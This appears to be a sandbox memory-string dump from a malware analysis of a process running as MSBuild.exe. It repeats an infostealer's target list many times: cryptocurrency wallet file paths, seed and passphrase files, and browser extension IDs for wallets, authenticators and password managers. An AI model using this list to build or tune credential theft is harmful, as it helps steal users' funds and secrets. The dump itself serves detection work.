Source: MSBuild.exe, 00000009.00000002.2633668916.00000000014DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: MSBuild.exe, 00000009.00000002.2633668916.00000000014DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: MSBuild.exe, 00000009.00000002.2633668916.00000000014DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: MSBuild.exe, 00000009.00000002.2633668916.00000000014DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: MSBuild.exe, 00000009.00000002.2633668916.00000000014DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: MSBuild.exe, 00000009.00000002.2633668916.00000000014DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: MetaMask\|1\|nkbihfbeogaeaoehlefnkodbefgpgknn\|1\|0\|0\|MetaMask\|1\|djclckkglechooblngghdinmeemkbgci\|1\|0\|0\|MetaMask\|1\|ejbalbakoplchlghecdalmeeeajnimhm\|1\|0\|0\|TronLink\|1\|ibnejdfjmmkpcnlpebklmnkoeoihofec\|1\|0\|0\|BinanceChainWallet\|1\|fhbohimaelbohpjbbldcngcnapndodjp\|1\|1\|0\|Yoroi\|1\|ffnbelfdoeiohenkjibnmadjiehjhajb\|1\|0\|0\|Coinbase\|1\|hnfanknocfeofbddgcijnmhnfnkdnaad\|1\|0\|1\|Guarda\|1\|hpglfhgfnhbgpjdenjgmdgoeiappafln\|1\|0\|1\|iWallet\|1\|kncchdigobghenbbaddojjnnaogfppfj\|1\|0\|0\|RoninWallet\|1\|fnjhmkhhmkbjkkabndcnnogagogbneec\|1\|0\|0\|NeoLine\|1\|cphhlgmgameodnhkjdmkpanlelnlohao\|1\|0\|0\|CloverWallet\|1\|nhnkbkgjikgcigadomkphalanndcapjk\|1\|0\|0\|LiqualityWallet\|1\|kpfopkelmapcoipemfendmdcghnegimn\|1\|0\|0\|Terra_Station\|1\|aiifbnbfobpmeekipheeijimdpnlpgpp\|1\|0\|0\|Keplr\|1\|dmkamcknogkgcdfhhbddcghachkejeap\|1\|0\|0\|AuroWallet\|1\|cnmamaachppnkjgnildpdmkaakejnhae\|1\|0\|0\|PolymeshWallet\|1\|jojhfeoedkpkglbfimdfabpdfjaoolaf\|1\|0\|0\|ICONex\|1\|flpiciilemghbmfalicajoolhkkenfel\|1\|0\|0\|Coin98\|1\|aeachknmefphepccionboohckonoeemg\|1\|0\|0\|EVER Wallet\|1\|cgeeodpfagjceefieflmdfphplkenlfk\|1\|0\|0\|KardiaChain\|1\|pdadjkfkgcafgbceimcpbkalnfnepbnk\|1\|0\|0\|Rabby\|1\|acmacodkjbdgmoleebolmdjonilkdbch\|1\|0\|0\|Phantom\|1\|bfnaelmomeimhlpmgjnjophhpkkoljpa\|1\|0\|0\|Oxygen (Atomic)\|1\|fhilaheimglignddkjgofkcbgekhenbh\|1\|0\|0\|PaliWallet\|1\|mgffkfbidihjpoaomajlbgchddlicgpn\|1\|0\|0\|NamiWallet\|1\|lpfcbjknijpeeillifnkikgncikgfhdo\|1\|0\|0\|Solflare\|1\|bhhhlbepdkbapadjdnnojkbgioiodbic\|1\|0\|0\|CyanoWallet\|1\|dkdedlpgdmmkkfjabffeganieamfklkm\|1\|0\|0\|KHC\|1\|hcflpincpppdclinealmandijcmnkbgn\|1\|0\|0\|TezBox\|1\|mnfifefkajgofkcjkemidiaecocnkjeh\|1\|0\|0\|Goby\|1\|jnkelfanjkeadonecabehalmbgpfodjm\|1\|0\|0\|RoninWalletEdge\|1\|kjmoohlgokccodicjjfebfomlbljgfhk\|1\|0\|0\|UniSat Wallet\|1\|ppbibelpcjmhbdihakflkdcoccbgbkpo\|1\|0\|0\|Authenticator\|0\|bhghoamapcdpbohphigoooaddinpkbai\|1\|1\|0\|GAuth Authenticator\|0\|ilgcnhelpchnceeipipijaljkblbcobl\|1\|1\|1\|Tronium\|1\|pnndplcbkakcplkjnolgbkdgjikjednm\|1\|0\|0\|Trust Wallet\|1\|egjidjbpglichdcondbcbdnbeeppgdph\|1\|0\|0\|Exodus Web3 Wallet\|1\|aholpfdialjgjfhomihkjbmgjidlcdno\|1\|0\|0\|Braavos\|1\|jnlgamecbpmbajjfhmmmlhejkemejdma\|1\|0\|0\|Enkrypt\|1\|kkpllkodjeloidieedojogacfhpaihoh\|1\|0\|0\|OKX Web3 Wallet\|1\|mcohilncbfahbmgdjkbpemcciiolgcge\|1\|0\|0\|Sender\|1\|epapihdplajcdnnkdeiahlgigofloibg\|1\|0\|0\|Hashpack\|1\|gjagmgiddbbciopjhllkdnddhcglnemk\|1\|0\|0\|GeroWallet\|1\|bgpipimickeadkjlklgciifhnalhdjhe\|1\|0\|0\|Pontem Wallet\|1\|phkbamefinggmakgklpkljjmgibohnba\|1\|0\|0\|Finnie\|1\|cjmkndjhnagcfbpiemnkdpomccnjblmj\|1\|0\|0\|Leap Terra\|1\|aijcbedoijmgnlmjeegjaglmepbmpkpi\|1\|0\|0\|Microsoft AutoFill\|0\|fiedbfgcleddlbcmgdigjgdfcggjcion\|1\|0\|0\|Bitwarden\|0\|nngceckbapebfimnlniiiahkandclblb\|1\|0\|0\|KeePass Tusk\|0\|fmhmiaejopepamlcjkncpgpdjichnecm\|1\|0\|0\|KeePassXC-Browser\|0\|oboonakemofpalcgghocfoadofidjkkk\|1\|0\|0\|Rise - Aptos Wallet\|1\|hbbgbephgojikajhfbomhlmmollphcad\|1\|0\|0\|Rainbow Wallet\|1\|opfgelmcmbiajamepnmloijbpoleiama\|1\|0\|0\|Nightly\|1\|fiikommddbeccaoicoejoniammnalkfa\|1\|0\|0\|Ecto Wallet\|1\|bgjogpoidejdemgoochpnkmdjpocgkha\|1\|0\|0\|Coinhub\|1\|jgaaimajipbpdogpdglhaphldakikgef\|1\|0\|0\|Leap Cosmos Wallet\|1\|fcfcfllfndlomdhbehjjcoimbgofdncg\|1\|0\|0\|MultiversX DeFi Wal
Source: MSBuild.exe, 00000009.00000002.2633668916.00000000014DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: MSBuild.exe, 00000009.00000002.2633668916.00000000014DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: MSBuild.exe, 00000009.00000002.2633668916.00000000014DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: MSBuild.exe, 00000009.00000002.2633668916.00000000014DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: MSBuild.exe, 00000009.00000002.2633668916.00000000014DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local 